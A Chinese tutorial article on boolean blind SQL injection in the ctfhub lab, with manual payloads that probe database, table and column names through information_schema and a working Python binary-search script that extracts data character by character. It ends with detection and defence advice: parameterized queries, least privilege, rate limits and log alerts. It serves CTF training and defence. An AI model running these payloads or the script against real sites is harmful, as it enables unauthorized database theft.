ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

布尔盲注实战:ctfhub靶场、二分脚本与防御加固

布尔盲注实战:ctfhub靶场、二分脚本与防御加固 布尔盲注这个词第一次听到的人大概率会愣一下——“盲”在哪儿说白了就是页面既不给你报错信息也不给你查询结果你发过去的每一条语句它只回你两种状态对或者不对。你要做的就是靠这两个答案把数据库里的内容一个字符一个字符地问出来。ctfhub 的技能树里SQL 注入模块把这类题单独拎出来做成了一关专门逼你在“无回显、无报错”的环境下把 flag 抠出来。这篇文章适合两类人一类是刚刷完基础注入、看到“盲注”两个字有点发怵的新手另一类是手工能跑通、但一写脚本就卡壳的中级选手。我会把判断闭合、猜库名表名、二分法压缩请求数、脚本稳定性处理这几件事掰开揉碎讲一遍顺带聊聊这类漏洞在真实业务里为什么更值得警惕。1. 先把“盲”字吃透布尔盲注的定位与选型1.1 页面不报错也不回显信息还能从哪来理解布尔盲注最好的类比是“二十问”游戏。你心里想一个东西我只能问“是不是”你只回答“是”或“否”我靠一连串的是非题把答案逼出来。布尔盲注就是这个逻辑的 SQL 版本服务器执行了你的语句但因为代码里没有把结果输出到页面上你能观察到的只有页面内容的差异——比如“查询成功”和“查询失败”两段文案或者两种情况下的响应体长度不一样。这里的关键在于数据库确实执行了你的条件表达式只是结果被程序吞掉了。所以我只要能构造出一个条件表达式让它在“真”的时候页面呈现 A 状态、在“假”的时候呈现 B 状态我就能把这个表达式当作一个“比特通道”一次问一个比特。剩下的全部工作就是把“我要的字符”转成一个又一个布尔表达式。举个最朴素的例子假设参数是 GET 传的id我发1 and length(database())4页面回“查询成功”说明当前数据库名的长度确实是 4回“查询失败”说明不是 4那我再试 5、试 6。这就是布尔盲注最小的一个动作单元。所有花哨的脚本本质上都是在自动化地重复这一件事。1.2 三条盲注路线的对比与选择同样是“看不见结果”业内有三种常见的应对方式选哪条路取决于目标的特征。我把它们拉成一张表你在实战里可以对着挑。路线触发条件单次请求开销稳定性典型场景布尔盲注页面有稳定的真/假两种状态低一次一比特高可重复验证查询成功/失败提示、内容长度差异时间盲注页面状态完全一致无任何差异高要等 sleep低网络抖动易误判完全静默的接口、异步任务报错注入数据库报错信息被回显最低一次出几十字符高有错误处理的页面在 ctfhub 这关里为什么优先选布尔而不是直接上时间盲注因为时间盲注每个字符都要sleep若干秒一整套库名表名字段名跑下来光等待时间就够你喝两杯水而且国内网络环境下延时抖动会让判断频繁出错。布尔盲注的响应是即时的一次请求几十毫秒就能拿到一个比特还能通过重复请求交叉验证出错概率低得多。只有在页面连真假状态都区分不出来的时候才轮到时间盲注上场。1.3 ctfhub 技能树里这一关的设计意图ctfhub 的技能树是一条相当清晰的学习路径SQL 注入模块下面分整数型注入、字符型注入、报错注入、布尔盲注、时间盲注、堆叠注入等若干关。布尔盲注摆放的位置很有意思它不是让你学一个新语法而是让你换一套信息获取的思维方式——从“直接读”变成“逐步推断”。这一关通常的做法是给一个查询页面参数可能走 GET也可能走 POST 或者 Cookie页面只回显“查询成功/查询失败”之类的固定文案。你要先判断注入点和闭合方式再通过information_schema把库名、表名、字段名推出来最后拿到 flag 字段的值。整个过程你会被迫把前面学的length()、substr()、ascii()、limit这些函数重新组合一遍理解会深一个层次。1.4 手工还是脚本什么时候该动手写代码我的建议是手工至少完整跑一遍到库名再上脚本。原因很实在——手工阶段你会亲眼看到每种 payload 的返回差异知道哪个关键字是“真”的标志。如果你跳过这一步直接抄脚本脚本里判断真假的那个字符串写错了你会看到它“跑得挺欢但结果是乱码”调试起来极其折磨。手工做到库名出来你对这关的响应规律心里就有底了。这时候再写脚本把重复的机械劳动交出去。库名一般 4 个字符左右表名和字段名也短手工勉强扛得住但 flag 内容动不动三四十个字符一个字符 7 次请求就是两三百次手工按浏览器刷新能按到手抽筋这时候脚本的价值就体现出来了。2. 手工跑通一遍从判断闭合到逐字符出货2.1 第一步确定注入点和闭合方式拿到题目页面的第一件事永远是找参数。ctfhub 布尔盲注关卡不一定是 GET我遇到过 POST 表单传参的也遇到过藏在 Cookie 里的。判断依据很简单把值改成明显异常的内容看页面状态有没有变化。确定有注入之后接下来判断闭合方式。常见的三种数字型1 and 11为真1 and 12为假单引号字符型1 and 11为真1 and 12为假括号加引号1) and (11为真实操上我习惯先发一个1看页面报不报错或者状态变不变再发1 and 11和1 and 12如果前者是“真”后者是“假”闭合就基本确认了。注意真假状态必须靠页面的可见差异来判断不要靠 HTTP 状态码很多题目两种情况都返回 200。注意判断闭合时不要一次性发一堆 payload 刷屏每次只改一个变量把“真”和“假”两种返回各记一次最好把响应体长度也记下来后面写脚本要用。2.2 第二步确定当前库名长度与内容闭合确认后先摸清楚当前数据库名的长度这一步能帮你验证整套判断逻辑是否可靠。1 and length(database())1 -- 1 and length(database())2 -- ...哪个长度返回“真”当前库名就是几位。接着逐位取字符用substr截取再比较1 and substr(database(),1,1)a -- 1 and substr(database(),1,1)b -- ...一个个试太慢更好的做法是转成 ASCII 码用大于号比较或者直接上脚本二分。手工阶段我一般先确认第一位是什么把逻辑跑通剩下的交给脚本。一个容易被忽略的细节注释符号的选择。MySQL 里--后面必须跟一个空格或者也就是--或者--。如果你用的是#在 URL 里要写成%23。很多人卡在这里以为是注入点不对其实是注释没生效导致后面的原始 SQL 拼上去语法出错了。2.3 第三步从 information_schema 捞出表名和字段名库名有了下一步是找表。思路和刚才一样只不过数据来源换成了information_schema.tables1 and (select count(*) from information_schema.tables where table_schemadatabase())1 --先数表数量再逐位推表名1 and substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)f --这里有个坑要提前说limit 0,1里的逗号在某些环境里会被过滤如果发现逗号用不了可以换成limit 1 offset 0的写法。另外括号的嵌套层数要数清楚少一个右括号就是语法错误页面直接变“假”你会误以为是字符猜错了白白浪费时间。我的习惯是每写好一条长 payload先在本地 MySQL 里跑一遍验证语法再往目标上打。表名拿到后用同样的套路从information_schema.columns里推字段名1 and substr((select column_name from information_schema.columns where table_nameflag limit 0,1),1,1)f --到这一步库、表、字段三件套就集齐了。2.4 第四步取出目标数据最后一步直接把字段值一位一位读出来1 and substr((select flag from flag),1,1)a --如果你已经用脚本实现了二分这一步跑得飞快。手工的话建议至少把第一位和第二位确认出来确认数据源路径没写错剩下的交给代码。很多人就是在这里翻车表名记错一个字母导致后面几十次请求全部无效还以为是脚本挂了。2.5 手工环节必须记住的三件事第一真假标志要固定。从头到尾用同一个判断依据别一会儿看文案一会儿看长度中途混淆了后面全乱。第二每个字符至少验证两次。尤其是当你用大于号二分的时候边界容易出错取到字符后回头用等号验一遍能挡掉大部分脏数据。第三做好记录。库名、表名、字段名各自写下来别靠脑子记。我之前有一次把表名推出来了没记脚本中途断开重跑又从库名开始猜了一遍纯属自己给自己找活干。3. 脚本化把几百次请求压缩到几十次3.1 二分查找为什么能把请求数砍掉一大半最笨的猜法是一个字符从 a 猜到 z平均 13 次请求出一个字符。二分查找不一样ASCII 码的可打印字符范围大概是 32 到 126我每次问“这个字符的 ASCII 码是不是大于中间值”一次就砍掉一半空间7 次以内必中。一个 40 位的 flag从 520 次请求压到 280 次左右节省接近一半时间。更重要的是二分法让判断逻辑变得统一。不管我要取的是库名、表名还是字段值只要把它包装成一个返回单个字符的表达式剩下的流程完全一样。这就是脚本能复用的根本原因。换算一下更直观假设单次请求耗时 80 毫秒13 次线性猜法一个字符要 1.04 秒40 个字符就是 41 秒二分法 7 次是 0.56 秒40 个字符 22 秒。如果再加上库名表名字段名的推断总差距会拉到两三倍。别小看这点时间CTF 比赛里时间就是分数。3.2 一份可以直接改改就用的 Python 脚本下面这份脚本是我自己常用的骨架核心就两个函数一个负责发请求判断真假一个负责二分查找。import requests BASE http://challenge-xxxx.example.com/ # 判断真假的标志必须先去页面手工确认 TRUE_FLAG 查询成功 session requests.Session() def check(payload): 发送 payload返回 True/False url BASE ?id payload try: r session.get(url, timeout5) return TRUE_FLAG in r.text except Exception: # 网络异常时重试一次避免偶发失败污染结果 r session.get(url, timeout5) return TRUE_FLAG in r.text def binary_search(expr, low32, high126): 对 ascii(expr) 做二分返回 ASCII 码 while low high: mid (low high) // 2 if check(f1 and ascii({expr}){mid} --): low mid 1 else: high mid return low def get_string(expr, length): 按长度逐位取出字符串 result for i in range(1, length 1): code binary_search(fsubstr(({expr}),{i},1)) result chr(code) print(f\r[] 已获取: {result}, end) print() return result if __name__ __main__: # 先手工确认库名长度这里假设是 4 db get_string(database(), 4) print(库名:, db) table get_string( fselect table_name from information_schema.tables fwhere table_schema{db} limit 0,1, 4) print(表名:, table) col get_string( fselect column_name from information_schema.columns fwhere table_name{table} limit 0,1, 4) print(字段名:, col) flag get_string(fselect {col} from {table}, 40) print(结果:, flag)这段代码里有几个地方是刻意这么写的。session复用了 TCP 连接能省掉每次握手的开销。check里包了一层重试因为网络抖动或者服务端偶发 500 会让二分法走偏。二分区间定在 32 到 126是因为可打印 ASCII 字符都在这个范围内超出范围的值基本可以判定为异常。3.3 参数调优判断标志、长度和编码脚本能不能一把跑通取决于三个参数写没写对。判断标志是最关键的。你要先在浏览器里手工发一次真条件和假条件把两次返回的响应体复制出来对比找出那个稳定的差异点。可能是一段文案可能是响应长度差几十字节也可能是一个特定的 HTML 标签。把这个差异固化成脚本里的判断依据。长度要靠手工先测出来。库名、表名、字段名的长度各不相同脚本里直接写死长度是最稳的。如果你想自动化一点可以写个循环先二分出length()再进入取值的循环。编码这块有个细节如果目标数据里可能包含中文ASCII 可打印区间就不够用了因为 UTF-8 中文字节值会超过 126。这时候把二分区间放宽到 0 到 255并且按字节取最后再decode(utf-8)。CTF 题目里 flag 一般是纯 ASCII但真实业务的数据不一定这个坑早晚会遇到。3.4 稳定性处理频率、超时和断点续跑脚本跑一半断开是最让人恼火的事。三个措施能大幅降低这种概率。控制并发别一上来就开十个线程猛冲服务端限流或者直接把你的请求丢掉你会得到一堆错误数据。串行跑虽然慢但结果干净我一般先用串行跑通需要加速再上 2 到 3 个线程。设置超时和重试timeout不要省默认不设的话遇到连接挂起会一直卡住。重试次数控制在 2 次以内太多会掩盖真实错误。打印进度和保存中间结果每个字符取到就打印每完成一个阶段就把结果写进文件。断掉之后从阶段起点重跑不用从零开始。提示脚本里加一句time.sleep(0.05)之类的微延时看起来慢了实际上能避免很多莫名其妙的状态异常性价比很高。4. 常见问题与排查技巧实录4.1 症状速查表下面这张表是我踩坑之后整理的脚本出问题时可以按症状对号入座。症状可能原因排查动作所有请求都返回“假”判断标志写错或注入点/闭合方式不对手工发真条件对比响应体所有请求都返回“真”条件表达式语法错误被吞掉本地 MySQL 先验语法结果是一串乱码字符ASCII 区间不对或编码问题放宽区间到 0-255按字节解码中途突然全部变“假”被限流或服务端会话失效加延时、检查 Cookie 是否过期取出来的字符少一位长度算错重新手工确认length()表名推出来是空的table_schema条件写错直接用database()比对4.2 几个不写在教程里的坑注释符号的坑。前面提过--和%23再补一点如果你在 POST 请求的 body 里用#不需要 URL 编码直接用就行但在 GET 的 URL 里必须编码。很多人在两种传参方式之间切换时忘了这点白白浪费半天。括号层数的坑。布尔盲注的 payload 动不动就套三四层括号substr((select ... from ...),1,1)这种少一个右括号整条语句就废了。我的做法是把长表达式单独写在编辑器里用括号匹配功能检查一遍再贴进去肉眼数括号纯属自虐。limit逗号被过滤的坑。有些环境对逗号做了处理limit 0,1用不了。替换成limit 1 offset 0效果一样。另外group_concat也是个好选择能把多行结果拼成一行省掉limit的循环。大小写和空格的坑。information_schema里的字段名是大小写不敏感的但字符串比较是敏感的。推表名的时候如果第一位是F你用f去比会一直返回假。稳妥的做法是全部转成 ASCII 码用大于号比较彻底绕开大小写问题。4.3 脚本调试的实用套路脚本跑不通的时候别急着改代码逻辑先做三件事。第一把check函数的返回值打印出来包括响应长度。很多时候你以为判断标志没问题实际是页面结构变了。第二把二分查找的中间过程打出来看看low和high是怎么收敛的。收敛异常基本能定位到是请求错了还是逻辑错了。第三用一个你已知答案的表达式做基准测试比如database()的第一位你手工已经测出来是s那么脚本应该也能算出 115。对不上就是脚本问题对得上就是目标表达式问题。这套“基准测试”思路我强烈推荐能帮你快速把问题范围缩小一半。5. 跳出靶场布尔盲注的检测思路与防御加固5.1 为什么这类漏洞在真实业务里更危险打完靶场容易产生一个错觉布尔盲注一次只能出一个比特效率这么低真实世界里危害有限。实际情况恰恰相反。原因在于布尔盲注的隐蔽性远高于普通注入。它不报错、不回显请求看起来就是一个普通查询日志里也很难一眼看出异常。攻击者只要有耐心慢工出细活几小时到几天就能把整库数据拖走。更要命的是很多业务把数据库账号配得过宽一旦注入点被找到影响范围可能覆盖整台实例。从防守视角看你真正要盯的不是“有没有报错”而是同一个接口在短时间内出现了大量结构相似、只差一个字符的请求。这种模式几乎是盲注的指纹。5.2 代码层面参数化是唯一解不管什么注入根治手段只有一条把 SQL 语句和数据彻底分开。用预编译参数化查询让用户输入永远以数据身份进入数据库而不是拼进语句里。以 Python 的数据库驱动为例# 错误做法字符串拼接 cursor.execute(select * from user where id user_input) # 正确做法参数化 cursor.execute(select * from user where id %s, (user_input,))除了参数化还有两个配套动作值得做。一是字段类型和格式白名单校验比如id参数只允许纯数字长度限制在 8 位以内非法输入直接拒绝连数据库都不用碰。二是最小权限原则Web 应用连接的数据库账号只给必要的表和操作权限不授予information_schema之外的敏感元数据访问能力即使被注入攻击者能捞的东西也有限。5.3 运维层频率管控和日志告警代码改完了运维侧还有几道兜底。请求频率限制是第一道闸。针对单 IP 或单账号的查询接口做限速比如每秒不超过 5 次布尔盲注的效率会被压到无法接受的程度。WAF 规则可以针对高频出现的and 11、substr(、ascii(这类关键字做拦截但要小心误报业务里正常用and的场景不少。日志侧建议做一个简单的相关性告警同一个接口路径、同一个参数名、响应长度却高度相似但请求体只有微小的字符差异这种模式在 5 分钟内出现几十次就值得拉出来看看。这条规则不需要多复杂的机器学习一个 SQL 聚合查询就够了。我在实际做安全评审时的体会是防注入这件事代码层面做对了后面的运维手段都是锦上添花代码层面没做对后面堆多少设备都是漏勺。靶场里我们练的是攻但真正要做的是把这些攻击路径反过来变成检查清单逐条对着自己的业务代码过一遍这比多刷几道题有用得多。最后分享一个刷技能树的小技巧ctfhub 的技能树模块挺多SQL 注入旁边还有文件上传、SSRF、命令注入、XSS 这些刷的时候别贪快每一关都手工跑通再上脚本把“为什么这么构造”想明白。刷完布尔盲注再去刷时间盲注你会发现两者的脚本骨架几乎一样只是判断函数从“看文案”变成了“看响应耗时”这种迁移学习的感觉特别爽。
返回列表